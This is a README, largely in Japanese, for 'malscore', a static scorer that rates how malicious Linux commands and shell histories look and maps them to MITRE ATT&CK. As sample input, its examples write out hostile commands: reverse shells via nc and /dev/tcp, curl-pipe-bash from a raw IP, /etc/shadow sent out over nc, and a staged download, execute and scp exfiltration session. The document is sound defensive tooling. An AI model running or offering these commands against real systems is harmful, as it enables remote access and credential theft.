
Linuxコマンドの悪意度スコアリング
malscore は、Linux のコマンドライン、またはシェル履歴のような一連のコマンドセッションを受け取り、判定バンドと MITRE ATT&CK マッピングを伴う 0〜100 の悪性度スコア を返します:
command(s) → features → signals → score + MITRE mapping
何も実行、展開、解決することはありません — テキストを読み取るだけです
(tests/test_safety.py によって強制されています)。Python
標準ライブラリ(3.8+)以外に依存関係はありません。
pip install malscore # provides the `malscore` command
ソースチェックアウトから:
pip install . # or run without installing, from the repo root:
python3 -m malscore "<command>"
# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"
# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -
# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -
# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high
# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain
# machine-readable
malscore --session history.txt --json
# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high
from malscore import Analyzer
a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict) # 67 high
print([h.id for h in r.hits]) # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques) # ['T1059.004', 'T1105', 'T1071.001']
r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits]) # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command]) # each command's own assessment
print(r.as_dict()) # JSON-ready
Analyzer(redact=True) は、コマンドテキストがエコーバックされる前に認証情報らしき値を伏字化します。スコアには影響しません。
例:
$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░ score 91/100 CRITICAL
tactics: exfiltration, credential-access, command-and-control
evidence:
[0.60] exfiltration Credential material is sent over the network
T1552 T1041
[0.55] credential-access The password hash database (/etc/shadow) is accessed
T1003.008
[0.35] exfiltration Data is sent over a raw socket
T1048
...
$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c
$ malscore --session history.txt
████████████████████████ score 99/100 CRITICAL
history.txt
tactics: execution, defense-evasion, exfiltration, command-and-control, collection
7 command(s), 6 flagged:
████████████░░░░░░░░░░░░ L2 49 medium curl -s -o /tmp/.x http://45.33.2.1/x
███████░░░░░░░░░░░░░░░░░ L3 30 low chmod +x /tmp/.x
███████░░░░░░░░░░░░░░░░░ L4 30 low /tmp/.x
██████░░░░░░░░░░░░░░░░░░ L5 25 low tar czf /tmp/etc.tgz /etc
████████░░░░░░░░░░░░░░░░ L6 35 medium scp /tmp/etc.tgz [email protected]:/srv/
████████████░░░░░░░░░░░░ L7 50 medium history -c
signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...
セッションファイルでは、空でない各行が1つのコマンドとして文字通りに扱われます。コメント、行継続、ヒアドキュメントの処理はありません。--batch はこれとは異なり、JSONフィードの各コマンドを独立してスコアリングし、コマンド間の分析は行いません。
| スコア | 判定 | 意味 |
|---|---|---|
| 80–100 | critical | その形状が正当であることはまれ(リバースシェル、ディスクワイプ、uid‑0アカウント) |
| 60–79 | high | 強い証拠;速やかにレビューすべき |
| 35–59 | medium | ほとんどの文脈で疑わしい(curl‑pipe‑shell、shadow読み取り) |
| 15–34 | low | 組み合わせで注目に値する |
| 0–14 | benign | 定型的 |
バンドと重みは手動で調整した出発点であり、学習済みモデルではありません — スコアの各ポイントは、名前付きシグナルとMITRE ATT&CKテクニックに由来します。
特徴量。 コマンドは(何も実行せずに)字句解析され、sudo/env/xargs などのラッパーが展開され、置換や -c ペイロードへと降りていき、決定論的な特徴量が計算されます — ダウンロードチェーン、触れられたパス、永続化の表面、エンコードのトリック、そして形状によって特定の攻撃者テクニックを認識する tradecraft グループ(malscore/tradecraft.py)です。
シグナル。 malscore/signals.py は約120個の名前付きシグナルのカタログです:特徴量レコードに対する述語、(0, 1] の重み、MITREの戦術とテクニックID。重みは「これが唯一知っていることだった場合、どれほど敵対的である可能性が高いか」として読まれます。カタログはATT&CK戦術ごとに以下に及びます:
/proc/self/fd からのファイルレス実行;/etc/shadow と秘密鍵、クラウドメタデータ、設定ファイルに対する資格情報キーワード検索、.pgpass/.netrc/クラウド資格情報ファイルの読み取り、環境と履歴のスクレイピング、SSHエージェントのハイジャック;sudo -u#-1 バイパス、PATHハイジャック;/proc バインドマウントによる隠蔽;DROP TABLE、大量プロセスキル。汎用の機密データルール(カード/SSNパターン、データベースダンプ、card、token、customer などのテーブル名)はデフォルトで有効になっています;自身のデータに合わせて malscore/tradecraft.py の SENSITIVE_TABLE_RE 語彙を調整してください。
集約(noisy‑OR)。 重みは 1 − ∏(1 − wᵢ) として結合されるため、多くの弱いシグナルは蓄積されますがオーバーフローせず、1つの強いシグナルが支配します。同じ戦術を共有する冗長なシグナルは減衰されるため、3つの永続化チェックに引っかかっても3つの独立した検出として数えられません。
セッション。 セッション内の各コマンドは上記のようにスコアリングされ(その寄与は0.9で上限が設けられ、1つのノイズの多いコマンドが長いセッションをcriticalにしないようにします)、その後コマンド間シグナルが、単一のコマンドでは示されないパターンを探します — 早期にダウンロードされ後で実行されたファイル、ステージングされた(ダンプ、アーカイブ、圧縮された)データが後で scp で持ち出される、特権昇格後の資格情報アクセス、資格情報アクセス後のアップロード、送信後に削除されたステージングデータ、ダウンロードと永続化、活動に続く履歴/ログのクリア、または3つ以上の戦術にまたがる活動。
静的スコアはコマンドが本質的に何を行うかを測定します。curl … | bash がビルドマシンでは問題なく、台帳データベースではインシデントであることを知ることはできません。それはユーザー/ホストのベースラインに対する行動的な判断であり、下流の異常モデル(例:ユーザーごとの履歴に対する Isolation Forest)の役割です。静的スコアラーが低く評価するアクティビティ(例:セッション全体に分散したデータステージング)こそ、異常レイヤーが検出するために存在するものです。そして、コマンドがまとめてスコアリングされると、セッションスコアリングがその多くを回復します。
想定される本番形態はハイブリッドです:
command / session
│
┌───────────────┼────────────────┐
▼ ▼ ▼
malscore behavioural deterministic
(static risk) anomaly model rules
└───────────────┼────────────────┘
▼
risk / triage
| ファイル | 役割 |
|---|---|
malscore/lexer.py | 実行を伴わないシェルレキサー |
malscore/context.py | 実行ファイル、ペイロード、パス、URL、IP、ポートを解決 |
malscore/features.py | 汎用の特徴グループ(ネットワーク、パス、永続化、…) |
malscore/tradecraft.py | テクニック固有の特徴(リバースシェル、認証情報探索、…) |
malscore/signals.py | 重み付けされ MITRE にマッピングされたシグナルカタログ |
malscore/scoring.py | noisy-OR スコアリングとコマンド横断のセッション分析 |
malscore/cli.py | コマンドラインインターフェース(malscore / python -m malscore) |